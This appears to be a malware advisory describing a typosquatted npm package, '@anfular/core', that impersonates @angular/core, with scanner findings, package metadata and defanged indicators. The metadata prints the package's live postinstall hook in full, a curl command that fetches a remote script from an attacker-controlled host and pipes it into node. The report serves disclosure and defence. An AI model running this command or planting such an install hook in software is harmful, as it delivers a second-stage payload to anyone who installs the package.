GCVE-110-OSM-2026-13228

src/package/package.json:104 defines a postinstall script that downloads a remote script via curl (web.archive.org proxying attacker URL gitflic.ru/project/hellscripter/install-scripts) and pipes it straight into node — classic install-hook second-stage payload delivery. Combined with the typosquatted name '@anfular/core' impersonating @angular/core, this is definitive malware; the remaining OBF/SC findings are benign bundled Angular code. ## Static analysis (vigil) Verdict `BLOCK`, score 53/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` - [high] OBF-022 eval/Function aliased to variable — `package/fesm2022/_debug_node-chunk.mjs:1041` ## Package metadata - Publisher: unknown - Published: 2026-10-04T22:03:11.924Z - Install hooks: postinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `7edf84d49e8e55f90e5941015ab4b9be53bf28da5b4acba3735ea42f45af2000` ## IOCs (defanged) - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org